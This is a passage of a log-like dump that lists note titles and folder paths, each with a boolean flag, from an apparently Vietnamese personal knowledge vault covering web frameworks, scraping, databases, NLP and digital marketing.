cào bằng frontend" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Web", + "Cào web", + "Selenium", + "Remote Control được sinh ra để giải quyết vấn đề Same-Origin Policy" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Web", + "Cào web", + "Selenium", + "Selenium bao gồm IDE, Remote Control, WebDriver và Grid. Selenium 1 thực ra là Remote Control. Selenium 2 thực ra là Remote Control có thêm WebDriver" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Web", + "Framework", + "Component, render, JSX", + "Component hàm không có trạng thái (stateless). Component lớp có trạng thái (stateful)" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Web", + "Framework", + "Component, render, JSX", + "Component là những hàm hoặc lớp trả về một khối JSX" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Web", + "Framework", + "Component, render, JSX", + "Dùng fetch dạng promise chứ đừng await trong component" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Web", + "Framework", + "Component, render, JSX", + "JSX, props", + "JSX là cách để viết JS như thể viết HTML" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Web", + "Framework", + "Component, render, JSX", + "JSX, props", + "key là một thuộc tính đặc biệt của vật thể props để việc render được hiệu quả hơn" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Web", + "Framework", + "Component, render, JSX", + "JSX, props", + "Phải viết JSX trong .jsx hoặc .tsx" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Web", + "Framework", + "Component, render, JSX", + "JSX, props", + "Props giúp việc thêm property cho DOM giống như thêm attribute cho HTML" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Web", + "Framework", + "Component, render, JSX", + "JSX, props", + "Props là viết tắt của property, nghĩa gốc là tài sản. Tài sản của cha mẹ thì con dùng được, nhưng tài sản của con thì cha mẹ không đụng được" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Web", + "Framework", + "Component, render, JSX", + "JSX, props", + "Props là đối số đầu tiên của hàm component, dùng để truyền giá trị các thuộc tính của nó" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Web", + "Framework", + "Component, render, JSX", + "Không có async component vì hiệu suất quá tệ" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Web", + "Framework", + "Component, render, JSX", + "Những hàm được export default và được viết hoa ký tự đầu tiên là component" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Web", + "Framework", + "Component, render, JSX", + "Nếu truyền HTML làm giá trị biến thì cần dùng dangerouslySetInnerHTML, nếu không thì sẽ bị mã hoá hết" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Web", + "Framework", + "Component, render, JSX", + "Render là quá trình chuyển đổi dữ liệu và code sang HTML" +] + +🚀: true +[ "", "✍️Lập trình", "Web", "Framework" ] + +🚀: false +[ + "", + "✍️Lập trình", + "Web", + "Framework", + "Fresh, Preact, React", + "form" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Web", + "Framework", + "Fresh, Preact, React", + "Fresh dùng Preact cho UI" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Web", + "Framework", + "Fresh, Preact, React", + "Fresh và Astro đều cung cấp khả năng render island lần đầu tại server và những lần sau tại client" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Web", + "Framework", + "Fresh, Preact, React", + "Fresh đối với Preact cũng giống như Next.js đối với React. React với Preact cung cấp khả năng render (làm framework), còn Fresh hay Next xử lý những thứ còn lại (làm meta-framework)" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Web", + "Framework", + "Fresh, Preact, React", + "JS là để tăng trải nghiệm người dùng. Framework là để tăng trải nghiệm lập trình viên" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Web", + "Framework", + "Fresh, Preact, React", + "Lịch sử phát triển framework JavaScript" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Web", + "Framework", + "Fresh, Preact, React", + "Next.js, Remix, Gatsby là những framework mà chính React giới thiệu là nên dùng" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Web", + "Framework", + "Fresh, Preact, React", + "Preact chỉ là một thư viện render. Nó không có biết gì về server hay routing cả" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Web", + "Framework", + "Fresh, Preact, React", + "React nên được alias thành preact-compat" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Web", + "Framework", + "Fresh, Preact, React", + "React được sinh ra để làm việc với trạng thái" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Web", + "Framework", + "Fresh, Preact, React", + "Vì Node, Deno viết trên V8 chứ không phải Gecko, nên chỉ có Chrome mới debug được chứ Firefox thì không" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Web", + "Framework", + "Fresh, Preact, React", + "Ở Preact, onInput sẽ kích hoạt ngay trong lúc nhập, còn onChange chỉ kích hoạt khi người dùng đổi focus" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Web", + "Framework", + "Island, state", + "Component nằm trong thư mục island sẽ được render lần đầu ở server, còn những lần sau đều ở client" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Web", + "Framework", + "Island, state", + "Các hàm được môi trường thực thi cung cấp không hoạt động được ở island" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Web", + "Framework", + "Island, state", + "Island là những component ở trong thư mục islands" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Web", + "Framework", + "Island, state", + "Island với partial hydration là một" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Web", + "Framework", + "Island, state", + "Khi một vật thể được đổ dữ liệu vào, nó được gọi là được tưới nước" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Web", + "Framework", + "Island, state", + "Mỗi khi state thay đổi thì islands được render lại" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Web", + "Framework", + "Island, state", + "State giúp cập nhật dữ liệu mà không cần tải lại trang" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Web", + "Framework", + "Nói cho đến cùng thì trang web chỉ là form" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Web", + "Framework", + "Quản lý state", + "Context", + "createContext() nằm ngoài global, useContext() nằm trong component" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Web", + "Framework", + "Quản lý state", + "Context", + "Giá trị trả về của useContext() là giá trị được truyền vào thuộc tính value của provider" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Web", + "Framework", + "Quản lý state", + "Context", + "useContext() là cách để không phải dùng Consumer" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Web", + "Framework", + "Quản lý state", + "Context", + "Đối số của createContext() quyết định kiểu của value của Context.Provider" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Web", + "Framework", + "Quản lý state", + "Hook", + "Chính vì setState render lại cả component, nên với những file component muốn tách ra nhiều hàm độc lập, và state" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Web", + "Framework", + "Quản lý state", + "Hook", + "Các hàm set của hook sẽ kích hoạt việc render lại component nơi nó được khai báo" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Web", + "Framework", + "Quản lý state", + "Hook", + "Cách dùng useEffect với useState" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Web", + "Framework", + "Quản lý state", + "Hook", + "Dùng setState gọn hơn signal nếu không phải truyền setter qua nhiều hàm khác nhau" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Web", + "Framework", + "Quản lý state", + "Hook", + "Không dùng mảng hoặc vật thể trong setState được" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Web", + "Framework", + "Quản lý state", + "Hook", + "Phải viết hook trong component. Không viết trong loop hoặc if được" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Web", + "Framework", + "Quản lý state", + "Hook", + "Trong useEffect chỉ dùng được promise, không dùng async được" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Web", + "Framework", + "Quản lý state", + "Hook", + "useEffect được sinh ra là để side effect không tự động chạy mỗi khi component được render" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Web", + "Framework", + "Quản lý state", + "Signal", + "effect khác computed ở chỗ một cái có return, một cái không có return" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Web", + "Framework", + "Quản lý state", + "Signal", + "Signal chỉ render lại mỗi phần tử HTML chứa giá trị của nó" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Web", + "Framework", + "Quản lý state", + "Signal", + "Signal giúp giải quyết các vấn đề do useState hoặc Context tạo ra" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Web", + "Framework", + "Route là code viết cho server. Island là code viết cho client" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Web", + "Framework", + "Route, handler", + "Có một số hàm ở server sẽ không serialize được" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Web", + "Framework", + "Route, handler", + "Khi có một yêu cầu tới một route, handler được gọi trước, sau đó tới component" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Web", + "Framework", + "Route, handler", + "Kết quả được trả về ctx.render(arg) của handler sẽ được truyền lại vào props.data của component" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Web", + "Framework", + "Route, handler", + "Nếu viết handler dưới dạng vật thể thì chỉ những phương thức là động từ HTTP mới được dùng. Nếu viết dưới dạng hàm thì cái hàm đó sẽ trở thành handler luôn" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Web", + "Framework", + "Route, handler", + "Route cần có ít nhất một handler hoặc một component" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Web", + "Framework", + "Route, handler", + "Route không bao giờ được gửi đến client. Island được chạy ở cả server và client" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Web", + "Framework", + "Route, handler", + "Serialize là cách duy nhất để truyền dữ liệu từ server tới client và ngược lại" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Web", + "Framework", + "So sánh Single Page App (SPA) vs Progressive Web App (PWA)" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Web", + "Framework", + "UI là kết quả của state và data. State nằm ở client, data nằm ở server" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Web", + "HTML, CSS", + "Article dùng cho những nội dung độc lập, chứ không nhất định phải là một bài viết dài" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Web", + "HTML, CSS", + "DOM là kết quả của việc parse HTML" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Web", + "HTML, CSS", + "DOM property khác HTML attribute" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Web", + "HTML, CSS", + "Dùng tag ngữ nghĩa thay vì dùng div" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Web", + "HTML, CSS", + "HTML giống như từng thành phần trong bộ đồ như quần, áo, nón, giày. CSS giống như màu sắc, kích thước của quần, áo. JS là thứ giúp thay đổi màu sắc, kích thước của quần, áo" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Web", + "HTML, CSS", + "HTML tự động điền tag vì ngày xưa cần tiết kiệm dung lượng ổ đĩa càng nhiều càng tốt" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Web", + "HTML, CSS", + "Khi chỉnh CSS mà thấy không thay đổi, thử xoá cache xem" +] + +🚀: false +[ "", "✍️Lập trình", "Web", "HTML, CSS", "Obsidian dùng ES5" ] + +🚀: false +[ + "", + "✍️Lập trình", + "Web", + "HTML, CSS", + "Property nghĩa gốc là tài sản. Attribute nghĩa gốc là thêm vào" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Web", + "Nếu tạo CORS proxy thì chỉ trả về đúng HTML thôi, đừng xử lý gì hết trên đó" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Web", + "Render phía máy chủ nhanh và SEO tốt. Render phía người dùng phù hợp cho những ứng dụng cần tương tác nhiều" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Web", + "Same-origin policy ngăn chặn việc script ở tab này điều khiển tab kia" +] + +🚀: true +[ "", "✍️Lập trình", "Web" ] + +🚀: false +[ + "", + "✍️Lập trình", + "Ξ Nguồn và tài nguyên hỗ trợ", + "Tài nguyên hỗ trợ", + "Khoa học máy tính" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ξ Nguồn và tài nguyên hỗ trợ", + "Tài nguyên hỗ trợ", + "Tiếng Anh", + "MDN chất lượng hơn W3School" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ξ Nguồn và tài nguyên hỗ trợ", + "Ξ Nguồn", + "CodeAnalogies" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ξ Nguồn và tài nguyên hỗ trợ", + "Ξ Nguồn", + "freeCodeCamp" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ξ Nguồn và tài nguyên hỗ trợ", + "Ξ Nguồn", + "Google Support" +] + +🚀: false +[ "", "✍️Lập trình", "Ξ Nguồn và tài nguyên hỗ trợ", "Ξ Nguồn", "IBM" ] + +🚀: false +[ "", "✍️Lập trình", "Ξ Nguồn và tài nguyên hỗ trợ", "Ξ Nguồn", "MDN" ] + +🚀: false +[ + "", + "✍️Lập trình", + "Ξ Nguồn và tài nguyên hỗ trợ", + "Ξ Nguồn", + "Phạm Đình Khánh" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ξ Nguồn và tài nguyên hỗ trợ", + "Ξ Nguồn", + "Real Python" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ξ Nguồn và tài nguyên hỗ trợ", + "Ξ Nguồn", + "Refactoring.Guru" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ξ Nguồn và tài nguyên hỗ trợ", + "Ξ Nguồn", + "Stack Overflow" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ξ Nguồn và tài nguyên hỗ trợ", + "Ξ Nguồn", + "tuhocict" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ξ Nguồn và tài nguyên hỗ trợ", + "Ξ Nguồn", + "Tự ngẫm nghĩ, trải nghiệm" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ξ Nguồn và tài nguyên hỗ trợ", + "Ξ Nguồn", + "Viblo" +] + +🚀: false +[ + "", + "✍️Lập trình", + "Ξ Nguồn và tài nguyên hỗ trợ", + "Ξ Nguồn", + "Wikipedia" +] + +🚀: true +[ "", "✍️Lập trình" ] + +🚀: false +[ "", "👏Sản phẩm", "Template tạo vault và website mới" ] + +🚀: false +[ + "", + "👏Sản phẩm", + "Trấn Kỳ", + "1. Cài đặt và sử dụng nhanh", + "1.1 Cài đặt PowerShell, Deno, Python, Git, VS Code" +] + +🚀: false +[ + "", + "👏Sản phẩm", + "Trấn Kỳ", + "1. Cài đặt và sử dụng nhanh", + "1.2 Lấy code" +] + +🚀: false +[ + "", + "👏Sản phẩm", + "Trấn Kỳ", + "1. Cài đặt và sử dụng nhanh", + "1.3 Tải code" +] + +🚀: true +[ "", "👏Sản phẩm", "Trấn Kỳ", "2. Thiết lập chương trình" ] + +🚀: false +[ + "", + "👏Sản phẩm", + "Trấn Kỳ", + "2. Thiết lập chương trình", + "Sử dụng main.ts" +] + +🚀: false +[ + "", + "👏Sản phẩm", + "Trấn Kỳ", + "2. Thiết lập chương trình", + "Sử dụng tranky.py" +] + +🚀: false +[ + "", + "👏Sản phẩm", + "Trấn Kỳ", + "2. Thiết lập chương trình", + "Thiết lập trên Fibery" +] + +🚀: false +[ + "", + "👏Sản phẩm", + "Trấn Kỳ", + "3. Hiểu code nói gì", + "3.1 Mô hình xử lý dữ liệu" +] + +🚀: false +[ + "", + "👏Sản phẩm", + "Trấn Kỳ", + "3. Hiểu code nói gì", + "Chiều, từ và nhãn" +] + +🚀: false +[ + "", + "👏Sản phẩm", + "Trấn Kỳ", + "3. Hiểu code nói gì", + "Ý nghĩa của biểu thức regex trong hàm lọcDữLiệuCầnTựĐộngNhậnDạng()" +] + +🚀: false +[ + "", + "👏Sản phẩm", + "Trấn Kỳ", + "3. Hiểu code nói gì", + "Ý nghĩa của biểu thức regex trong hàm lọcSốTiền()" +] + +🚀: false +[ + "", + "👏Sản phẩm", + "Trấn Kỳ", + "4. Thành phần bổ trợ", + "Chạy chương trình định kỳ" +] + +🚀: false +[ + "", + "👏Sản phẩm", + "Trấn Kỳ", + "4. Thành phần bổ trợ", + "Hướng dẫn debug" +] + +🚀: false +[ + "", + "👏Sản phẩm", + "Trấn Kỳ", + "4. Thành phần bổ trợ", + "Sử dụng Docker" +] + +🚀: false +[ "", "👏Sản phẩm", "Trấn Kỳ", "Hướng dẫn sử dụng Trấn Kỳ" ] + +🚀: false +[ "", "👏Sản phẩm", "đối ⊷ thoại", "readme" ] + +🚀: false +[ "", "👏Sản phẩm", "đối ⊷ thoại", "Xác định bài đăng giống nhau" ] + +🚀: true +[ "", "👏Sản phẩm", "đối ⊷ thoại" ] + +🚀: false +[ + "", + "📊Tổ chức, phân tích dữ liệu", + "Cơ sở dữ liệu", + "Các chương trình ứng dụng không giao tiếp trực tiếp với CSDL mà qua một trung gian gọi là hệ quản trị cơ sở dữ liệu" +] + +🚀: false +[ + "", + "📊Tổ chức, phân tích dữ liệu", + "Cơ sở dữ liệu", + "DBMS cấu trúc những cách ta tổ chức và tương tác với mọi dữ liệu được lưu trữ" +] + +🚀: false +[ + "", + "📊Tổ chức, phân tích dữ liệu", + "Cơ sở dữ liệu", + "Dữ liệu dưới dạng cơ sở dữ liệu đảm bảo các bên tham gia nhập dữ liệu cùng một định dạng" +] + +🚀: false +[ + "", + "📊Tổ chức, phân tích dữ liệu", + "Cơ sở dữ liệu", + "Excel không phù hợp cho việc lập cơ sở dữ liệu" +] + +🚀: false +[ + "", + "📊Tổ chức, phân tích dữ liệu", + "Cơ sở dữ liệu", + "File Google Docs không thực sự là file" +] + +🚀: false +[ + "", + "📊Tổ chức, phân tích dữ liệu", + "Cơ sở dữ liệu", + "Giao diện block cho phép người dùng linh hoạt hơn mà vẫn giữ được sự cấu trúc" +] + +🚀: false +[ + "", + "📊Tổ chức, phân tích dữ liệu", + "Cơ sở dữ liệu", + "Khó có thể copy dữ liệu dạng block giữa các app khác nhau" +] + +🚀: false +[ + "", + "📊Tổ chức, phân tích dữ liệu", + "Cơ sở dữ liệu", + "Mở rộng quy mô bằng việc nâng cấp RAM, CPU dễ hơn với SQL. Mở rộng quy mô bằng việc chạy cùng lúc nhiều máy dễ hơn với NoSQL" +] + +🚀: false +[ + "", + "📊Tổ chức, phân tích dữ liệu", + "Cơ sở dữ liệu", + "Việc phân loại SQL và NoSQL giống như việc phân loại người dị tính hợp giới và người không dị tính hợp giới, hoặc phân loại người Kinh và người không Kinh" +] + +🚀: false +[ + "", + "📊Tổ chức, phân tích dữ liệu", + "Cơ sở dữ liệu", + "Ứng dụng quản lý là một dạng giao diện giữa người dùng và cơ sở dữ liệu" +] + +🚀: false +[ + "", + "📊Tổ chức, phân tích dữ liệu", + "Phân tích dữ liệu", + "Cách để AI không bị ảo giác là kêu nó viết query cho Wikidata" +] + +🚀: false +[ + "", + "📊Tổ chức, phân tích dữ liệu", + "Phân tích dữ liệu", + "Numpy và Pandas" +] + +🚀: true +[ "", "📊Tổ chức, phân tích dữ liệu", "Phân tích dữ liệu" ] + +🚀: false +[ + "", + "📊Tổ chức, phân tích dữ liệu", + "Phân tích dữ liệu", + "Phân tích mạng lưới", + "Concept map, knowledge graph" +] + +🚀: false +[ + "", + "📊Tổ chức, phân tích dữ liệu", + "Phân tích dữ liệu", + "Phân tích mạng lưới", + "The Semantic Web is essentially a distributed-objects framework" +] + +🚀: false +[ + "", + "📊Tổ chức, phân tích dữ liệu", + "Phân tích dữ liệu", + "Phân tích mạng lưới", + "Thế mạnh của RDF triplestore là tạo ra những liên kết mới không có sẵn lúc nhập vào" +] + +🚀: false +[ + "", + "📊Tổ chức, phân tích dữ liệu", + "Phân tích dữ liệu", + "Phân tích xu hướng, NLP", + "Các công cụ lắng nghe xã hội có sẵn giống như một ảnh chụp màn hình nhanh về những gì đang diễn ra" +] + +🚀: false +[ + "", + "📊Tổ chức, phân tích dữ liệu", + "Phân tích dữ liệu", + "Phân tích xu hướng, NLP", + "Feature Extraction, Text Representation, Text Extraction, Text Vectorization là những cái tên khác nhau cho cùng một thứ" +] + +🚀: false +[ + "", + "📊Tổ chức, phân tích dữ liệu", + "Phân tích dữ liệu", + "Phân tích xu hướng, NLP", + "Gensim tập trung vào mô hình chủ đề" +] + +🚀: false +[ + "", + "📊Tổ chức, phân tích dữ liệu", + "Phân tích dữ liệu", + "Phân tích xu hướng, NLP", + "Không giám sát nghĩa là giả định rằng người huấn luyện không có giả định nào" +] + +🚀: false +[ + "", + "📊Tổ chức, phân tích dữ liệu", + "Phân tích dữ liệu", + "Phân tích xu hướng, NLP", + "Mô hình", + "Bản chất của mô hình chủ đề là tô màu cho văn bản và từ" +] + +🚀: false +[ + "", + "📊Tổ chức, phân tích dữ liệu", + "Phân tích dữ liệu", + "Phân tích xu hướng, NLP", + "Mô hình", + "Mô hình bản chất là một phép biến đổi không gian vector" +] + +🚀: false +[ + "", + "📊Tổ chức, phân tích dữ liệu", + "Phân tích dữ liệu", + "Phân tích xu hướng, NLP", + "Mô hình", + "Mô hình chủ đề rất hữu dụng cho việc diễn giải" +] + +🚀: false +[ + "", + "📊Tổ chức, phân tích dữ liệu", + "Phân tích dữ liệu", + "Phân tích xu hướng, NLP", + "Mô hình", + "SVD ban đầu là để tìm ra một phép xoay không gian mà vẫn giữ nguyên tích vô hướng của các vector" +] + +🚀: false +[ + "", + "📊Tổ chức, phân tích dữ liệu", + "Phân tích dữ liệu", + "Phân tích xu hướng, NLP", + "Mô hình", + "tf-idf giúp xác định độ quan trọng của một từ trong một văn bản trong bộ văn bản" +] + +🚀: false +[ + "", + "📊Tổ chức, phân tích dữ liệu", + "Phân tích dữ liệu", + "Phân tích xu hướng, NLP", + "Mô hình", + "tf-idf mạnh hơn count vector" +] + +🚀: false +[ + "", + "📊Tổ chức, phân tích dữ liệu", + "Phân tích dữ liệu", + "Phân tích xu hướng, NLP", + "Mô hình trích chọn từ" +] + +🚀: true +[ + "", + "📊Tổ chức, phân tích dữ liệu", + "Phân tích dữ liệu", + "Phân tích xu hướng, NLP" +] + +🚀: false +[ + "", + "📊Tổ chức, phân tích dữ liệu", + "Phân tích dữ liệu", + "Phân tích xu hướng, NLP", + "Tổng quan về mô hình chủ đề" +] + +🚀: false +[ + "", + "📊Tổ chức, phân tích dữ liệu", + "Phân tích dữ liệu", + "Phân tích xu hướng, NLP", + "Tổng quan về xử lý tiếng Việt" +] + +🚀: false +[ + "", + "📊Tổ chức, phân tích dữ liệu", + "Phân tích dữ liệu", + "Phân tích xu hướng, NLP", + "Vector", + "Bộ từ trong dictionary sẽ quyết định bộ vector" +] + +🚀: false +[ + "", + "📊Tổ chức, phân tích dữ liệu", + "Phân tích dữ liệu", + "Phân tích xu hướng, NLP", + "Vector", + "Túi từ không phân biệt được những câu có cùng các từ bởi nó không phân biệt thứ tự trước sau của các từ trong một câu" +] + +🚀: false +[ + "", + "📊Tổ chức, phân tích dữ liệu", + "Phân tích dữ liệu", + "Phân tích xu hướng, NLP", + "Vector", + "Việc biểu diễn các từ dưới dạng các vector one-hot chỉ đáp ứng được khả năng huấn luyện mà chưa phản ảnh được mối liên hệ về mặt ngữ nghĩa của các từ" +] + +🚀: false +[ + "", + "📊Tổ chức, phân tích dữ liệu", + "Phân tích dữ liệu", + "Phân tích xu hướng, NLP", + "Vector", + "Việc vector hoá các văn bản là để máy tính có thể xử lý được" +] + +🚀: false +[ + "", + "📊Tổ chức, phân tích dữ liệu", + "Phân tích dữ liệu", + "Phân tích xu hướng, NLP", + "Vector", + "Độ tương đồng của hai vector chính là tích vô hướng vừa nó" +] + +🚀: false +[ + "", + "📊Tổ chức, phân tích dữ liệu", + "Phân tích dữ liệu", + "Phân tích xu hướng, NLP", + "Về mặt toán học thì AI không có gì thú vị. Việc thay đổi trọng số thú vị hơn" +] + +🚀: false +[ + "", + "📊Tổ chức, phân tích dữ liệu", + "Phân tích dữ liệu", + "Phân tích xu hướng, NLP", + "WhatEvery1Says", + "Code chạy trên Linux hoặc WSL" +] + +🚀: false +[ + "", + "📊Tổ chức, phân tích dữ liệu", + "Phân tích dữ liệu", + "Phân tích xu hướng, NLP", + "WhatEvery1Says", + "Collection là những sản phẩm đầu ra, bao gồm các mô hình chủ đề và minh hoạ tương tác có thể dùng trực tiếp" +] + +🚀: false +[ + "", + "📊Tổ chức, phân tích dữ liệu", + "Phân tích dữ liệu", + "Phân tích xu hướng, NLP", + "WhatEvery1Says", + "Diễn giải mô hình WhatEvery1Says" +] + +🚀: false +[ + "", + "📊Tổ chức, phân tích dữ liệu", + "Phân tích dữ liệu", + "Phân tích xu hướng, NLP", + "Xử lý ngôn ngữ tự nhiên chính là một công cụ nghĩ" +] + +🚀: false +[ + "", + "📊Tổ chức, phân tích dữ liệu", + "Phân tích dữ liệu", + "Python và R" +] + +🚀: false +[ + "", + "📊Tổ chức, phân tích dữ liệu", + "Phân tích dữ liệu", + "Toán", + "Nếu xem ma trận giống như dãy số thì cũng giống như xem sách giống như dãy chữ" +] + +🚀: false +[ + "", + "📊Tổ chức, phân tích dữ liệu", + "Phân tích dữ liệu", + "Toán", + "Phép cộng và phép nhân thể hiện sức mạnh của dữ liệu. Phép trừ và phép chia thể hiện tương quan dữ liệu" +] + +🚀: false +[ + "", + "📊Tổ chức, phân tích dữ liệu", + "Phân tích dữ liệu", + "Toán", + "Xác suất thống kê", + "Khi các xác suất độc lập với nhau thì dùng phép nhân" +] + +🚀: false +[ + "", + "📊Tổ chức, phân tích dữ liệu", + "Phân tích dữ liệu", + "Toán", + "Xác suất thống kê", + "Phương sai là để biết mức độ phân tán của dữ liệu so với giá trị trung bình" +] + +🚀: false +[ + "", + "📊Tổ chức, phân tích dữ liệu", + "Phân tích dữ liệu", + "❓Không dùng vật thể mà chỉ dùng khối" +] + +🚀: false +[ + "", + "📊Tổ chức, phân tích dữ liệu", + "Việc lưu dữ liệu ở các công cụ khác nhau tạo thành các đảo thông tin" +] + +🚀: false +[ + "", + "📊Tổ chức, phân tích dữ liệu", + "❓Tại sao không cho người chưa biết gì về công nghệ thông tin bắt đầu bằng việc học cơ sở dữ liệu trước thay vì học lập trình?" +] + +🚀: false +[ + "", + "📊Tổ chức, phân tích dữ liệu", + "📊Tổ chức dữ liệu. Phân tích dữ liệu" +] + +🚀: false +[ + "", + "🔊Tiếp thị số", + "Facebook", + "Có những người mình mong họ like nhưng họ lại không phải là người mình cần" +] + +🚀: false +[ + "", + "🔊Tiếp thị số", + "Facebook", + "Có vẻ như để bài viết dưới dạng link hay dạng ảnh thì fb cũng đều phân phối như nhau" +] + +🚀: false +[ "", "🔊Tiếp thị số", "Facebook", "Quảng cáo trên Facebook" ] + +🚀: false +[ "", "🔊Tiếp thị số", "Facebook", "Seeding" ] + +🚀: false +[ + "", + "🔊Tiếp thị số", + "Facebook", + "Share bài từ page thì thấy được số tương tác trên Facebook" +] + +🚀: false +[ "", "🔊Tiếp thị số", "Facebook", "subdomain m, l, lm" ] + +🚀: false +[ + "", + "🔊Tiếp thị số", + "Facebook", + "Tất cả like, share từ các phiên bản URL khác nhau sẽ được đổ hết về og-url" +] + +🚀: false +[ + "", + "🔊Tiếp thị số", + "Facebook", + "Để biết được bài đăng của mình tiếp cận được bao nhiêu người, vào Business Suite" +] + +🚀: false +[ + "", + "🔊Tiếp thị số", + "Facebook", + "❓Vai trò của các chỉ số trên Facebook trong phân tích web" +] + +🚀: false +[ "", "🔊Tiếp thị số", "Kinh nghiệm" ] + +🚀: false +[ "", "🔊Tiếp thị số", "Quảng cáo trên Facebook" ] + +🚀: false +[ "", "🔊Tiếp thị số", "Rút gọn link" ] + +🚀: false +[ "", "🔊Tiếp thị số", "Schema", "JSON-LD là một cách để tạo schema" ] + +🚀: false +[ + "", + "🔊Tiếp thị số", + "Schema", + "Open Graph chuyên cho việc chia sẻ trên mạng xã hội. Schema chuyên cho việc tìm kiếm trên Google" +] + +🚀: false +[ + "", + "🔊Tiếp thị số", + "Schema", + "Open Graph và Schema.org là từ vựng. JSON-LD, RDFa và Microdata là ngữ pháp" +] + +🚀: false +[ "", "🔊Tiếp thị số", "SEO" ] + +🚀: false +[ "", "🔊Tiếp thị số", "Web analytics", "Chiến dịch là sản phẩm" ] + +🚀: false +[ + "", + "🔊Tiếp thị số", + "Web analytics", + "Client-side tracking thiếu chính xác" +] + +🚀: false +[ + "", + "🔊Tiếp thị số", + "Web analytics", + "Có thể có tới 40% người dùng dùng adblock. Số độc giả rành công nghệ có thể lên tới 58%" +] + +🚀: false +[ "", "🔊Tiếp thị số", "Web analytics", "Dự án là sản phẩm" ] + +🚀: false +[ + "", + "🔊Tiếp thị số", + "Web analytics", + "Google Analytics", + "Chỉ cần dùng một measurement ID cho các subdomain" +] + +🚀: false +[ + "", + "🔊Tiếp thị số", + "Web analytics", + "Google Analytics", + "Google Analytics dùng cookie để theo dõi hoạt động" +] + +🚀: true +[ "", "🔊Tiếp thị số", "Web analytics", "Google Analytics" ] + +🚀: false +[ + "", + "🔊Tiếp thị số", + "Web analytics", + "Google Analytics", + "Nếu web có ít người sử dụng thì một số dữ liệu sẽ bị giấu đi để đảm bảo tính riêng tư cho người dùng" +] + +🚀: false +[ + "", + "🔊Tiếp thị số", + "Web analytics", + "Google Analytics", + "Traffic, social, channel", + "Các organic branded traffic nên được xem như là direct traffic" +] + +🚀: false +[ + "", + "🔊Tiếp thị số", + "Web analytics", + "Google Analytics", + "Traffic, social, channel", + "Các URL dài có thể là organic traffic chứ không phải direct traffic" +] + +🚀: false +[ + "", + "🔊Tiếp thị số", + "Web analytics", + "Google Analytics", + "Traffic, social, channel", + "GA xem zalo, wordpress, stackexchange là social" +] + +🚀: false +[ + "", + "🔊Tiếp thị số", + "Web analytics", + "Google Analytics", + "Traffic, social, channel", + "Nếu medium không có gì đặc biệt thì cứ để trống để google tự phân loại" +] 